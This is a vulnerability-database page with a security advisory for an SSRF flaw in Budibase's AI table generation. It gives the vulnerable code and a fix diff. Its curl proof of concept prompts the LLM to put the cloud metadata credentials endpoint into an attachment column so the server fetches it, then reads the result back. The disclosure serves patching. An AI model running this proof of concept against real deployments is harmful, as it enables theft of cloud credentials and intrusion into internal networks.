Vulnerability Database

363,159

Total vulnerabilities in the database

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation — @budibase / server

Server-Side Request Forgery (SSRF)

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Summary

The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).

A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.

This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.

Affected Versions

<= 3.39.0 (current lerna.json version at time of analysis)

Vulnerability Details

Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check

// packages/server/src/utilities/fileUtils.ts:21-23 export async function uploadUrl(url: string): Promise&lt;Upload | undefined&gt; { try { const res = await fetch(url) // No blacklist validation

This is called from:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114 async function processAttachments( entry: Record&lt;string, any&gt;, attachmentColumns: FieldSchema[] ) { function processAttachment(value: any) { if (typeof value === &quot;object&quot;) { return uploadFile(value) } return uploadUrl(value) // String values treated as URLs, fetched without protection }

Which is triggered via generateRows() at line 34:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34 await processAttachments(entry, attachmentColumns)

Compare with correct sibling: processUrlFile() in extract.ts

// packages/server/src/automations/steps/ai/extract.ts:139-144 async function processUrlFile( fileUrl: string, fileType: SupportedFileType, llm: LLMResponse ): Promise&lt;ExtractInput&gt; { const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist

The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:

// packages/server/src/automations/steps/utils.ts:100-112 export async function fetchWithBlacklist( url: string, request: RequestInit = {} ): Promise&lt;Response&gt; { const maxRedirects = 5 let nextUrl = url // ... for (let redirects = 0; redirects &lt;= maxRedirects; redirects++) { await throwIfBlacklisted(nextUrl) // Validates against private IP ranges const response = await fetch(nextUrl, nextRequest)

Proof of Concept

Prerequisites: Builder-level authentication, AI feature enabled on the instance.

# Step 1: Authenticate as builder TOKEN=$(curl -s -X POST &#039;http://TARGET:10000/api/global/auth/default/login&#039; \ -H &#039;Content-Type: application/json&#039; \ -d &#039;{&quot;username&quot;:&quot;[email protected]&quot;,&quot;password&quot;:&quot;password123&quot;}&#039; \ -c - | grep budibase:auth | awk &#039;{print $NF}&#039;) # Step 2: Create an app with a table that has an attachment column APP_ID=&quot;app_dev_xxxx&quot; # Use existing app # Step 3: Use the AI table generation endpoint with a prompt designed to # produce internal URLs as attachment values. # The LLM will generate rows with attachment column values pointing to # internal services. curl -X POST &quot;http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate&quot; \ -H &quot;Content-Type: application/json&quot; \ -H &quot;Cookie: budibase:auth=$TOKEN&quot; \ -d &#039;{ &quot;prompt&quot;: &quot;Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/&quot; }&#039; # The server will call uploadUrl(&quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/&quot;) # which fetches the cloud metadata endpoint without any SSRF protection. # The response content is saved to object storage and a URL is returned in the row data. # Step 4: Read the created row to exfiltrate the metadata response curl -X GET &quot;http://TARGET:10000/api/$APP_ID/rows?tableId=&lt;table_id&gt;&quot; \ -H &quot;Cookie: budibase:auth=$TOKEN&quot; # The attachment URL in the response points to the saved metadata content

Impact

  • Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)
  • Internal service enumeration and data exfiltration from private network resources
  • Port scanning of internal infrastructure via timing/error differences
  • Bypass of network segmentation when Budibase is deployed in a DMZ or VPC

Suggested Remediation

Replace the bare fetch() in uploadUrl() with fetchWithBlacklist():

// packages/server/src/utilities/fileUtils.ts import fs from &quot;fs&quot; -import fetch from &quot;node-fetch&quot; import path from &quot;path&quot; import { pipeline } from &quot;stream&quot; import { promisify } from &quot;util&quot; import * as uuid from &quot;uuid&quot; import { context, objectStore } from &quot;@budibase/backend-core&quot; import { Upload } from &quot;@budibase/types&quot; import { ObjectStoreBuckets } from &quot;../constants&quot; +import { fetchWithBlacklist } from &quot;../automations/steps/utils&quot; // ... export async function uploadUrl(url: string): Promise&lt;Upload | undefined&gt; { try { - const res = await fetch(url) + const res = await fetchWithBlacklist(url) const extension = [...res.url.split(&quot;.&quot;)].pop()!.split(&quot;?&quot;)[0]
  • Published: Jul 24, 2026
  • Updated: Jul 25, 2026
  • GHSA: GHSA-hfhx-w8p8-4hc7
  • Severity: Medium
  • Exploit:
  • CISA KEV:

No technical information available.

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.